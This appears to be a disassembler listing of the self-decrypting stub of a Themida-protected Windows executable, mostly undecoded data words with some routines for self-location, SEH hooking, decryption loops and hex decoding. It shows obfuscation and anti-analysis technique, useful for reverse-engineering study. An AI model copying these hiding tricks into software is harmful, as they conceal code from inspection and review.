		dd 26Eh, 3 dup(0)
		dd 0FCAD0000h, 0B3h, 3700000h, 0CBB0000h, 0A4F1005Bh, 3	dup(0)
		dd 10000h, 5 dup(0)
		dd 15BF0000h, 5Fh, 0Ch dup(0)
		dd 0EE180000h, 0E7F17C90h, 0FF4Eh, 2 dup(0)
		dd 80A30000h, 28780019h, 0FFA400B4h, 5F940012h,	0B1D6FFA4h
		dd 4000005Fh, 21h, 0Ch dup(0)
		dd 17F90000h, 425Eh, 20530000h,	5Fh, 0E7F10000h, 0FF4Eh
		dd 4 dup(0)
		dd 290000h, 6A390000h, 0A29F00B1h, 0EB94005Bh, 7C90h, 6	dup(0)
		dd 0D990000h, 5Dh, 0
		dd 91780000h, 0B6h, 12h	dup(0)
		dd 0AB030000h, 0BBCh, 3	dup(0)
		dd 24930000h, 73DE00B2h, 5Dh, 0
		dd 30DF0000h, 0A9C5h, 3	dup(0)
		dd 0F3450000h, 0FFA4h, 3 dup(0)
		dd 846C0000h, 5B1Eh, 0
		dd 6E060000h, 8EE4025Ch, 650300B1h, 0BDCBh, 4 dup(0)
		dd 0A06C0000h, 5Bh, 4 dup(0)
		dd 0FCAD0000h, 0B3h, 2 dup(0)
		dd 9B6C0000h, 0FC2FFFFFh, 7421h, 5 dup(0)
		dd 0CA40000h, 0C2D1h, 3	dup(0)
		dd 0A4460000h, 0B9BEh, 0FFFF0000h, 1005Fh, 3D440000h, 7F5D8A4Dh
		dd 0E435h, 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5849FA:				; CODE XREF: start:loc_581469j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7A8359Bh
		mov	[ebp+7A81E29h],	edx
		mov	[ebp+7A80475h],	esi
		mov	[ebp+7A80509h],	eax
		cmp	dword ptr [ebp+7A80B89h], 0
		jz	short loc_584A32
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_584A32:				; CODE XREF: start+6FA10j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7A8144Dh],	eax
		push	45h
		call	sub_584AE6
		push	783749Ah
		call	sub_584B2C
		push	0A894B25h
		call	sub_584B2C
		jmp	loc_584C70
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_584AE6	proc near		; CODE XREF: start+6FA2Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7A83689h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_584B02:				; CODE XREF: sub_584AE6+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_584B21
		mov	eax, [ebp+arg_0]
		mov	[ebx+7A835F3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_584B02
; ---------------------------------------------------------------------------


loc_584B21:				; CODE XREF: sub_584AE6+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_584AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_584B2C	proc near		; CODE XREF: start+6FA34p start+6FA3Ep

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7A836D2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_584B52:				; CODE XREF: sub_584B2C+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_584B52
		mov	[ebp+var_84], 0
		lea	edi, [edx+7A835F3h]
		lea	esi, [ebp+var_80]


loc_584B82:				; CODE XREF: sub_584B2C+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_584B8E:				; CODE XREF: sub_584B2C+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_584B8E
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_584B82
		popa
		leave
		retn	4
sub_584B2C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_584BCC
; ---------------------------------------------------------------------------


loc_584BC8:				; CODE XREF: Themida_:00584BCFj
		inc	dword ptr [ebp-4]
		inc	esi


loc_584BCC:				; CODE XREF: Themida_:00584BC6j
		cmp	byte ptr [esi],	0
		jnz	short loc_584BC8
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_584C5D
; ---------------------------------------------------------------------------


loc_584BDE:				; CODE XREF: Themida_:00584C60j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_584C54
; ---------------------------------------------------------------------------


loc_584BE7:				; CODE XREF: Themida_:00584C58j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_584C41
; ---------------------------------------------------------------------------


loc_584BF7:				; CODE XREF: Themida_:00584C45j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_584C19
		cmp	bl, 39h
		ja	short loc_584C19
		sub	bl, 30h
		jmp	short loc_584C3B
; ---------------------------------------------------------------------------


loc_584C19:				; CODE XREF: Themida_:00584C0Dj
					; Themida_:00584C12j
		cmp	bl, 61h
		jb	short loc_584C2B
		cmp	bl, 66h
		ja	short loc_584C2B
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_584C3B
; ---------------------------------------------------------------------------


loc_584C2B:				; CODE XREF: Themida_:00584C1Cj
					; Themida_:00584C21j
		cmp	bl, 41h
		jb	short loc_584C3B
		cmp	bl, 46h
		ja	short loc_584C3B
		sub	bl, 41h
		add	bl, 0Ah


loc_584C3B:				; CODE XREF: Themida_:00584C17j
					; Themida_:00584C29j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_584C41:				; CODE XREF: Themida_:00584BF5j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_584BF7
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_584C51
		mov	eax, [ebp-10h]
		stosb


loc_584C51:				; CODE XREF: Themida_:00584C4Bj
		inc	dword ptr [ebp-8]


loc_584C54:				; CODE XREF: Themida_:00584BE5j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_584BE7
		add	edx, 4


loc_584C5D:				; CODE XREF: Themida_:00584BDCj
		cmp	edx, [ebp-4]
		jb	loc_584BDE
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_584C70:				; CODE XREF: start+6FA43j
		mov	ecx, 7000h
		lea	edi, [ebp+7A83818h]


loc_584C7B:				; CODE XREF: start+6FC6Bj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_584C7B
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7A8391Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, 6574B197h
		jb	loc_584CB9
		mov	bl, 71h


loc_584CB9:				; CODE XREF: start+6FC9Dj
		jns	loc_584CC1
		mov	ebx, edx


loc_584CC1:				; CODE XREF: start:loc_584CB9j
		mov	bx, 0CD95h
		sub	eax, edx
		push	0
		push	ebp
		call	sub_584CD2
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_584CD2	proc near		; CODE XREF: start+6FCB6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_584CD2	endp

; ---------------------------------------------------------------------------
		dw 2336h
		dd 0CC3B114Dh, 8B146424h, 0A5E780D9h, 0FFF00025h, 2EABBFFh
		dd 0CA8B5DACh, 8166FF33h, 755A4D38h, 50B70F0Eh,	81D0033Ch
		dd 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h
		dd 31958D04h, 5207A839h, 35FF64h, 64000000h, 2589h, 0C1030000h
		dd 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 7A8393Ch
		dd 38FA858Dh, 818907A8h, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	2FC35545h, 863B23E4h, 0B7FCB957h, 55006A14h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 7F2E2140h, 0DB313E51h, 8C663329h, 0D1F380D9h, 800Fh
		dd 0E1800000h, 0BB665304h, 0A5BB3BDh, 1F850FC9h, 8B000000h
		dd 0A585C7DFh, 107A806h, 0F000000h, 582h, 0B686BB00h, 0FE96FC0h
		dd 80000000h, 85C791F7h, 7A806A5h, 0
		dd 858968B3h, 7A81895h,	0E9A7DF80h, 9, 9365F220h, 5406F4F6h
		dd 0E1858990h, 0E807A80Ch, 14h,	0BCC13093h, 0C3BA8B0Dh
		dd 4AE5E0B3h, 1C27A1C9h, 67979574h, 38B0F60h, 80000000h
		dd 8B6663E6h, 0F55A61FBh, 6539C281h, 0F5530000h, 85E4B859h
		dd 0C08134C7h, 0CB38932Ah, 0FE9h, 6DB21000h, 92EC3516h
		dd 4F8A3AFEh, 60F2FD2Eh, 37B93A8Bh, 8106377Ch, 0B42673C7h
		dd 81EEB56Eh, 5418AAC7h, 0EF81F923h, 6858572h, 5E9h, 51A2A700h
		dd 0E857D26Bh, 5, 0D6D68688h, 68D0FE6h,	0F000000h, 86h
		dd 28F5900h, 0E904EA83h, 10h, 46F64562h, 8FE7F49Dh, 8D4503DAh
		dd 7B21B7ABh, 25850F48h, 0E9000000h, 0Dh, 80787083h, 0C9E7DE9Dh
		dd 0B8C8C1C4h, 43E903h,	33260000h, 66E1FFA7h, 3BCC4092h
		dd 0B685E3F9h, 17820Fh,	12E90000h, 0D0000000h, 90A55E49h
		dd 0DD4941E6h, 0C0BE1186h, 6A81AE0Ah, 0FF5AE970h, 0A892FFFFh
		dd 6072F267h, 12B7869Bh, 0A5BB19D8h, 0A565F4EBh, 0AE855h
		dd 0A06C0000h, 2DABB33Ch, 5626025Ch, 8890Fh, 8E0F0000h
		dd 2, 0B35EF88Bh, 46C68154h, 0E9000065h, 0Ch, 0C5FC20CEh
		dd 0E00F04D2h, 3F87B761h, 0B9h,	8BFB8B00h, 810F0E04h, 4
		dd 309EBF66h, 0D9F0C081h, 0BF666392h, 0F081DBD3h, 3FD19891h
		dd 5E12E881h, 8B665BB0h, 0E0489DFh, 14E9h, 97BAF700h, 0A083C8E2h
		dd 0CBB5E5ADh, 0DF8562EBh, 1CD89F0Bh, 9E937h, 2C6E0000h
		dd 0E891062Bh, 836E0254h, 81F904E9h, 0FF9B6CF9h, 0A0850FFFh
		dd 0E8FFFFFFh, 0Ch, 4BE4979Ch, 0D3DE31CBh, 43C6C7D9h, 0DE8B6660h
		dd 8129D981h, 5F6111F4h, 21B04EBh, 0C1E90000h, 0FC000006h
		dd 799D0960h, 2B07A823h, 0EE9C0h, 2E460000h, 0F26C1F56h
		dd 0D02500D9h, 0E4529341h, 2824548Bh, 28CF8160h, 8B1868F4h
		dd 0A81B9DBDh, 85896107h, 7A8330Dh, 3CBEF5h, 8B0F0000h
		dd 6, 35459531h, 740307A8h, 0B5892424h,	7A82AE9h, 0B589AD66h
		dd 7A80EF1h, 24244403h,	29C9B589h, 505007A8h, 9E952h, 52DB0000h
		dd 9634E09Ch, 0FC918BCh, 0DE931h, 284D0000h, 93B6A156h
		dd 5F83D559h, 5A6FD9ABh, 24048958h, 1AF19D89h, 408B07A8h
		dd 68E0F78h, 89000000h,	0A81BADB5h, 24440307h, 408BFC28h
		dd 0E940FC18h, 0Bh, 6430B0BAh, 7EBE8750h, 89B240F8h, 0A83BD585h
		dd 3158F507h, 0A82DF195h, 55B52907h, 8B07A814h,	83F97870h
		dd 5E91CC6h, 20000000h,	30B83FAEh, 24247403h, 0A9B86660h
		dd 29958980h, 6107A809h, 2D55BD89h, 0BD8D07A8h,	7A80FCDh
		dd 18519D89h, 89AD07A8h, 0A803499Dh, 24440307h,	0E9ABF924h
		dd 12h,	5C1B1CDCh, 6CA522B0h, 9904D410h, 47B7A1F9h, 0BD8DE5D6h
		dd 7A81549h, 10E9h, 0ECEFC600h,	0E6AE296Ch, 7A496487h
		dd 5380C92h, 9E9ADCCh, 0CA000000h, 0FE6426C0h, 0B217D114h
		dd 24244403h, 0D9BF0F60h, 6840Fh, 95290000h, 7A814F1h
		dd 9E95061h, 84000000h,	8780C20Bh, 14A9D3EEh, 0E9240489h
		dd 10h,	0F671BA5h, 3DFC382Dh, 94ED015Dh, 0D729D728h, 0BD8DF8ABh
		dd 7A82E3Dh, 0CEBF0F60h, 4A53AB9h, 29AD616Dh, 0A80E558Dh
		dd 24440307h, 258D8928h, 0AB07A80Dh, 0BE9h, 46B5AE00h
		dd 0E2E73112h, 9AECFDB8h, 0C5BD895Eh, 0FF07A81Ch, 0A83BD58Dh
		dd 0D5BD8307h, 7A83Bh, 44C71075h, 1C24h, 0B58D0000h, 7A84043h
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 0A8061985h, 74C08407h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 0D85FF04h, 0E907A833h, 0FFFFFF6Fh, 13E95Eh
		dd 5D1C0000h, 367D3CAAh, 7C1E87F0h, 5C865EF8h, 0DBA75CDh
		dd 0E8516029h, 5, 25875D13h, 66595E0Dh,	0EDB8DF81h, 0D858B61h
		dd 0F07A833h, 0F8Ah, 0AE900h, 75290000h, 1F40BBFEh, 0FBD4C596h
		dd 0BD89E0D1h, 7A80365h, 2E3D8503h, 8F0F07A8h, 16h, 0DE960h
		dd 61380000h, 0BD25B7DFh, 55FE07DEh, 606A7AF1h,	0F62B6161h
		dd 1850Fh, 96FC0000h, 12810Fh, 0DE90000h, 26000000h, 671AD93Ch
		dd 23A9A814h, 961EA16Eh, 0E860AD66h, 0Ah, 0EA052693h, 37079D6Bh
		dd 0F781F98Ch, 2154A027h, 0DABB665Fh, 0E0C1615Ah, 0A5852902h
		dd 307A829h, 0A80FCD85h, 18C0F07h, 0FC000000h, 0BD09F996h
		dd 7A81A55h, 6860FADh, 89000000h, 0A8265D85h, 244C8B07h
		dd 4403F524h, 66602424h, 0F54E4BAh, 8Dh, 44896100h, 8B0F1C24h
		dd 6, 0B5616060h, 0F8966127h, 19BD89ACh, 3207A810h, 0CE9C9h
		dd 0B07F0000h, 19E744Fh, 9C788CA8h, 0C1FE4C06h,	2C759D89h
		dd 0D0D007A8h, 0DE830Fh, 8E90000h, 32000000h, 0D9A1C3F0h
		dd 0D008F255h, 0C9830FD0h, 0F8000000h, 820FD0D0h, 0C0h
		dd 0CE9h, 9B1FD00h, 75CE074h, 0FB0A879Ch, 0FD0D005h, 0A782h
		dd 16830F00h, 0E9000000h, 11h, 60EE825Eh, 6AE72947h, 80375BE6h
		dd 195ED522h, 0FC9FED1h, 0FFFF9D89h, 0FE9FFh, 7C290000h
		dd 0FA49E44Dh, 87811541h, 0BE883819h, 20C483F9h, 19199D29h
		dd 44C707A8h, 0FC24h, 870F0000h, 7, 1820Fh, 60F50000h
		dd 0CDE68166h, 9EEE8173h, 61248B35h, 1B8h, 18D8900h, 8D07A810h
		dd 0A871FB8Dh, 14E907h,	24230000h, 0E2B9E30Dh, 0D5EA078Ah
		dd 0AABE1BD6h, 3708501Fh, 0E1FFF107h, 0C8E0Fh, 830F0000h
		dd 6, 8D0Fh, 0B5010000h, 7A80B3Dh, 61985C6h, 0F0007A8h
		dd 0C89h, 6840F00h, 89000000h, 0A82B098Dh, 13E96107h, 33000000h
		dd 0EC5DD68Fh, 0C1A416FAh, 0D6B7A28h, 0FB1039D0h, 666081CBh
		dd 61993EB9h, 890008C2h, 0A80EC99Dh, 52505007h,	14E860h
		dd 48550000h, 2418313Dh, 0AEB67220h, 0F2C95D75h, 3FD16C54h
		dd 0F5967A5h, 85h, 310F6100h, 0D68B6660h, 0FB1F7FBFh, 585A612Fh
		dd 60243489h, 8E9C68Bh,	18000000h, 95BE8C26h, 6154F759h
		dd 4273B589h, 880F07A8h, 14h, 0FE9h, 0E30F1D00h, 9BA1F543h
		dd 11A84CD1h, 0C02A3E08h, 427E8D89h, 0B50907A8h, 7A806B1h
		dd 412AB58Dh, 9D8907A8h, 7A81D15h, 0A1858DF8h, 0F9005B8Eh
		dd 5EF5D0FFh, 0FE9h, 0F45A2F00h, 0B189C24Ah, 61F9D97Dh
		dd 0DFA8BACEh, 0F1B529C3h, 8B07A829h, 0A84273B5h, 8A0F6007h
		dd 1, 59D29F9h,	6107A803h, 427E8D8Bh, 12E907A8h, 77000000h
		dd 4E005C4Bh, 2F018F74h, 598889ABh, 0CD304FACh,	0B801h
		dd 8C0F0000h, 6, 5A99501h, 0D98B07A8h, 2C5D9589h, 8D0F07A8h
		dd 4, 61616060h, 0DEE9h, 0C8D0F00h, 0E9000000h,	7, 16274B60h
		dd 32587A4Fh, 9D036026h, 7A81585h, 143D9509h, 0B26107A8h
		dd 0CE902h, 78660000h, 0B755EC26h, 0B8CA91Bh, 0F605AAAh
		dd 168Bh, 11E900h, 93750000h, 0D5E44906h, 0FD25F7E0h, 956C98F7h
		dd 8B1E5BDFh, 0A8104985h, 57E96107h, 0F9000000h, 8960C232h
		dd 0A8091D95h, 95896107h
		dd 7A82AD9h, 751D7A05h,	0CC8AF88Ah, 18D0B60h, 0F07A80Eh
		dd 68Bh, 840F00h, 61000000h, 8E9C8D3h, 96000000h, 57DE0D61h
		dd 35DC99C1h, 98D10842h, 9D8501F8h, 0FE07A826h,	0E18529CAh
		dd 0F07A823h, 184h, 0D20AFC00h,	0FFA2850Fh, 840FFFFFh
		dd 7, 1880Fh, 9F50000h,	0A8253185h, 85894B07h, 7A82D75h
		dd 0D5BD8946h, 0B07A831h, 2C850FDBh, 89FFFFFFh,	0A821499Dh
		dd 0F5CFF907h, 0B5290000h, 7A81CB1h, 0FC0000h, 8E900h
		dd 0F73F0000h, 2ECCE5EAh, 85095BFCh, 7A807B5h, 89600000h
		dd 0A82291B5h, 61FE8B07h, 3BDF858Dh, 8D0107A8h,	7A83525h
		dd 1DF58589h, 8B6007A8h, 0A805C1B5h, 5D8D8B07h,	6107A819h
		dd 4084858Dh, 0BD0907A8h, 7A82C75h, 32B58589h, 14EB07A8h
		dd 4 dup(0)
		dd 0E4h, 43A8858Dh, 858907A8h, 7A80C71h, 42DFBD83h, 0F0007A8h
		dd 12C84h, 1985C600h, 5607A806h, 4E8h, 1F6D3900h, 448B50D4h
		dd 8B0424h, 4244489h, 95B5FF58h, 8D07A818h, 0A83BDF85h
		dd 89D0FF07h, 0A842D385h, 1985C607h, 5607A806h,	0FFE87468h
		dd 24048170h, 2BA8CFDEh, 1895B5FFh, 858D07A8h, 7A83BDFh
		dd 8589D0FFh, 7A842D7h,	4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 0A842E385h
		dd 1F40507h, 0E0C10000h, 4895002h, 0FF006A24h, 0A842D795h
		dd 0DB858907h, 8B07A842h, 0FFFFB8D8h, 95FFFFFFh, 7A80C71h
		dd 95FFC38Bh, 7A80C71h,	84E9h, 0DFBD8300h, 7A842h, 1850Fh
		dd 57C30000h, 42DBBD8Bh, 83AB07A8h, 0A842DB85h,	0C35F0407h
		dd 42DFBD83h, 0F0007A8h, 185h, 8360C300h, 0A842DBADh, 9D8B0407h
		dd 7A842DBh, 0FFFC7B83h, 1D850Fh, 6E680000h, 815DEA19h
		dd 996E2434h, 6A5DEAh, 95FF33FFh, 7A842D3h, 1DE9C361h
		dd 68000000h, 0EC3FD9B9h, 47240481h, 6A13C0A6h,	0FF33FF00h
		dd 0A842D395h, 0DBAD8307h, 407A842h, 0FFFFB1E9h, 0D3E948FFh
		dd 33000009h, 0F54460C1h, 9E9591AAh, 477FCC19h,	10C5B8F6h
		dd 77C039DCh, 4B3FFA4Dh, 77762976h, 6E696E6Fh, 0FE4960E7h
		dd 8C9D9DE8h, 562C9E0Eh, 1F80BFE4h, 7A35697h, 562BF047h
		dd 77242577h, 616F6C6Fh, 0E44960E4h, 968082E8h,	4A329E11h
		dd 0B97A4FAh, 33C03D99h, 562FE70Bh, 76766866h, 756F7921h
		dd 0E25060F2h, 988083A7h, 9011h, 62h dup(0)
		dd 33000000h, 0FF4D60C1h, 96868DA6h, 5D2F9E0Eh,	1397ACF8h
		dd 36C67CD4h, 4028B558h, 64246777h, 646E756Eh, 0FE5532A0h
		dd 9E9C8DA6h, 0F31D75Ch, 90A4EEh, 24D72F99h, 0B27F05Fh
		dd 6E540418h, 65736164h, 0FE5560ACh, 9D938BA4h,	0F2BD75Ch
		dd 1F8AB9F1h, 3ACB3199h, 533E744h, 22606773h, 74736573h
		dd 0B05432E1h, 8B878BB1h, 402DCE5Ch, 1F84B9F0h,	97h, 47h dup(0)
		dd 33000000h, 0E24360C1h, 9C9987A9h, 0F2C990Eh,	1E8AA4E3h
		dd 24CF3499h, 402FF70Bh, 6D62297Ch, 20646E74h, 0FE4E35F2h
		dd 0D9958AA1h, 567FD015h, 5297BEF8h, 23DD25CAh,	2F64F84Eh
		dd 6768591Fh, 2C657360h, 0FC4E35A0h, 0D99685A7h, 497FCA15h
		dd 5288A4E5h, 38C339D4h, 446AEC59h, 70246D7Ch, 61747364h
		dd 0E90034F2h, 0D98091A7h, 4830CC0Ch, 5C88AAE5h, 61h dup(0)
		dd 33000000h, 0F54C29C6h, 8B9D87E8h, 5B2FCB0Eh,	5CC4AFF2h
		dd 3EC60899h, 573AB558h, 63766E7Dh, 6168206Ch, 0F54260F3h
		dd 94D28AADh, 5F36D01Dh, 684A7E2h, 368E38DCh, 486AF145h
		dd 67667073h, 74690D0Bh, 0F90033A7h, 9A9782A6h,	0F3BDB08h
		dd 13C5B2F5h, 25C70A99h, 4A6AE65Eh, 70672960h, 656B6360h
		dd 0C4006EE4h, 0D9818DA0h, 4A33D71Ah, 1C8ABCB7h, 208E289Eh
		dd 521E744h, 6F7D6773h,	2E65726Eh, 0E0h	dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0AE90000h, 6A00002Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C966C352h,	0E87F6255h
		dd 7, 825F24E5h, 0E9B50CA5h, 11h, 0F2FA90E9h, 0A6E544A7h
		dd 0F75CF0E5h, 7DA71181h, 6AFC5B3Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A01CC352h
		dd 3D08260Ch, 8FB3E071h, 68E0Fh, 958B0000h, 7A80FADh, 6E8h
		dd 2DEF8D00h, 8B9C3018h, 0C08B5AD0h, 2AA59533h,	0BD8307A8h
		dd 7A827F9h, 83097500h,	0A80605BDh, 13740007h, 0C08B5350h
		dd 1B8h, 0C59D8D00h, 0FF07AAAEh, 83585BD3h, 0A80605BDh
		dd 11740007h, 1B85350h,	8D000000h, 0AAAD769Dh, 5BD3FF07h
		dd 699D8958h, 8B07A80Bh, 6AC08BDAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 70D6C350h
		dd 3C58E8B5h, 3810F8Bh,	80000000h, 0B52907E7h, 7A80F99h
		dd 221DBD83h, 0F0007A8h, 1B684h, 898D8900h, 8307A821h
		dd 0A826EDBDh, 840F0007h, 1A3h,	57D958Bh, 0E96007A8h, 0Bh
		dd 1EA202C0h, 0C2A9F9D1h, 8BF3A3E6h, 0A826ED85h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0EA8415C2h, 669F9034h, 890ECABAh, 0A82CA5BDh, 0E805F807h
		dd 0F000003h, 0B8Bh, 0BF0F6000h, 0B18D8BD3h, 6107A830h
		dd 7E990h, 1D7A0000h, 653A7B4Fh, 4CBA506Bh, 90179B90h
		dd 236D958Bh, 858D07A8h, 7A84DECh, 81BB66F5h, 8B6050EFh
		dd 515250CAh, 0BA310F5Eh, 0C1323ABh, 8961585Ah,	0E2802404h
		dd 0CA858D3Dh, 0F07A84Dh, 0F50DAB7h, 168Ah, 11E900h, 3F930000h
		dd 0F9BB9D77h, 0B4EC5763h, 668F43DDh, 89E576A0h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 892499C3h, 0A82F6585h, 4195FF07h, 8B07A82Fh,	0A831659Dh
		dd 0CC48307h, 44DBD29h,	0DA8B07A8h, 4DCA858Dh, 509007A8h
		dd 0EE852h, 45720000h, 0FB0751C6h, 0D09D8A60h, 34961CE9h
		dd 0F5A5A50h, 5A31B331h, 0FE85058h, 67000000h, 0F5E6BC84h
		dd 440AB6F6h, 0F4F519Eh, 0BB663A85h, 905B5BCFh,	146DB589h
		dd 26A07A8h, 0B9858B60h, 0F07A80Bh, 68Dh, 0C9B58900h, 6107A830h
		dd 0ED1495FFh, 11E9006Ah, 93000000h, 57D2368Fh,	0F2134FA5h
		dd 97F6F4A6h, 0C430D0CEh, 56006A61h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 2820FBBh, 0B6000000h
		dd 0D9D8B29h, 0C707A81Bh, 0A84DFD85h, 107h, 0B5B53100h
		dd 9607A803h, 6050DD8Ah, 33BB6653h, 8B665B31h, 0E99661DFh
		dd 0Fh,	0FB90901Fh, 5D3BB04Bh, 7F38F67Fh, 89A68A7Bh, 0A8177585h
		dd 0AEB58907h, 6A07A84Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0F1F1C353h,	839313DEh
		dd 0A806A5BDh, 850F0107h, 42h, 24C59D8Bh, 0F88307A8h, 33850F05h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0C6C8C352h, 408E2FBEh,	0B826D280h
		dd 0
		dd 0B5DB160h, 0A8351995h, 0BD836107h, 7A81079h,	38840F00h
		dd 0F000000h, 6A60D8BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0DD85C355h,	0DFB70FAAh
		dd 107995FFh, 0B75007A8h, 9615A61h, 0A82A499Dh,	83D88B07h
		dd 0A831E5BDh, 840F0007h, 24h, 17890Fh,	0E8510000h, 0Fh
		dd 0E4F05D12h, 0C59713C2h, 53B79DDBh, 5B5F7CD3h, 0B85Bh
		dd 0D78B0000h, 0CA816660h, 858BB617h, 7A82981h,	6A02C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0C8FDC353h, 30FE6864h, 0F77B202h,	586h, 954FBB00h
		dd 85895653h, 7A84DA6h,	2181958Bh, 0C607A8h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A51BB3ACh, 0A1B3928Bh, 0AE9A169h, 54000000h, 75CBBF19h
		dd 0BE464968h, 1985C6AFh, 5307A806h, 0E852006Ah, 3, 5AC35A20h
